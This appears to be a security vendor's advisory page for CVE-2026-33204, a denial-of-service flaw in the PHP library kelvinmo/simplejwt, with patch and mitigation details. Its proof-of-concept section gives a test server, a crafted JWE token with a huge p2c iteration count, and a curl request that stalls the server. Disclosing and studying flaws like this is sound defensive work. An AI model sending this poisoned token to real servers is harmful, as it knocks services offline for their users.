CVE-2026-33204 — kelvinmo/simplejwt
HIGHCVE-2026-33204 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in kelvinmo/simplejwt. A fix is available for kelvinmo/simplejwt — see the affected versions and patch details below.
SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33204.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33204 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
kelvinmo/simplejwtReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used.
Applications that call JWE::decrypt() on attacker-controlled JWEs using PBES2 algorithms are affected.
Details
PHP version: PHP 8.4.11
SimpleJWT version: v1.1.0
The relevant portion of the vulnerable implementation is shown below (PBES2.php):
<?php
/* ... SNIP ... */
class PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {
use AESKeyWrapTrait;
/** @var array<string, mixed> $alg_params */
static protected $alg_params = [
'PBES2-HS256+A128KW' => ['hash' => 'sha256'],
'PBES2-HS384+A192KW' => ['hash' => 'sha384'],
'PBES2-HS512+A256KW' => ['hash' => 'sha512']
];
/** @var truthy-string $hash_alg */
protected $hash_alg;
/** @var int $iterations */
protected $iterations = 4096;
/* ... SNIP ... */
/**
* Sets the number of iterations to use in PBKFD2 key generation.
*
* @param int $iterations number of iterations
* @return void
*/
public function setIterations(int $iterations) {
$this->iterations = $iterations;
}
/* ... SNIP ... */
/**
* {@inheritdoc}
*/
public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {
/** @var SymmetricKey $key */
$key = $this->selectKey($keys, $kid);
if ($key == null) {
throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);
}
if (!isset($headers['p2s']) || !isset($headers['p2c'])) {
throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);
}
$derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);
return $this->unwrapKey($encrypted_key, $derived_key, $headers);
}
/* ... SNIP ... */
/**
* @param array<string, mixed> $headers
*/
private function generateKeyFromPassword(string $password, array $headers): string {
$salt = $headers['alg'] . "\x00" . Util::base64url_decode($headers['p2s']);
/** @var int<0, max> $length */
$length = intdiv($this->getAESKWKeySize(), 8);
return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);
}
}
?>
The security flaw lies in the lack of input validation when handling JWEs that uses PBES2.
A "sanity ceiling" is not set on the iteration count, which is the parameter known in the JWE specification as p2c (RFC7518).
The library calls decryptKey() with the untrusted input $headers which then use the PHP function hash_pbkdf2() with the user-supplied value $headers['p2c'].
This results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled.
Because the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.
Proof of Concept
Spin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.
mkdir simplejwt-poc
cd simplejwt-poc
composer install
composer require kelvinmo/simplejwt
php -S localhost:8000
The content of index.php:
<?php
require __DIR__ . '/vendor/autoload.php';
$set = SimpleJWT\Keys\KeySet::createFromSecret('secret123');
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$method = $_SERVER['REQUEST_METHOD'];
if ($uri === '/encrypt' && $method === 'GET') {
// Note $headers['alg'] and $headers['enc'] are required
$headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];
$plaintext = 'This is the plaintext I want to encrypt.';
$jwe = new SimpleJWT\JWE($headers, $plaintext);
try {
echo "Encrypted JWE: " . $jwe->encrypt($set);
} catch (\RuntimeException $e) {
echo $e;
}
}
elseif ($uri === '/decrypt' && $method === 'GET') {
try {
$jwe = $_GET['s'];
$jwe = SimpleJWT\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');
} catch (SimpleJWT\InvalidTokenException $e) {
echo $e;
}
echo $jwe->getHeader('alg') . "<br>";
echo $jwe->getHeader('enc') . "<br>";
echo $jwe->getPlaintext() . "<br>";
}
else {
http_response_code(404);
echo "Route not found";
}
?>
We have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):
{
"alg": "PBES2-HS256+A128KW",
"enc": "A128CBC-HS256",
"p2s": "blablabla",
"p2c": 409123223136
}
The final JWE with poisoned header: eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla.
Notice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.
Perform the following request to the server (which tries to derive the PBES2 key):
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: localhost:8000' \
$'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'
The request blocks the worker until the PHP execution timeout is reached, shutting down the server:
[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started
[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted
Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168
Impact
An attacker can send a crafted JWE with an extremely large p2c value to force the server to perform a very large number of PBKDF2 iterations.
This causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached.
Repeated requests can exhaust server resources and make the application unavailable to legitimate users.
Credits
Edoardo Ottavianelli (@edoardottt)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | kelvinmo/simplejwt | all versions | 1.1.1composer require kelvinmo/simplejwt:^1.1.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for kelvinmo/simplejwt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update kelvinmo/simplejwt to 1.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33204 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33204 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33204. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33204 in your dependencies?
O3 Security finds CVE-2026-33204 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.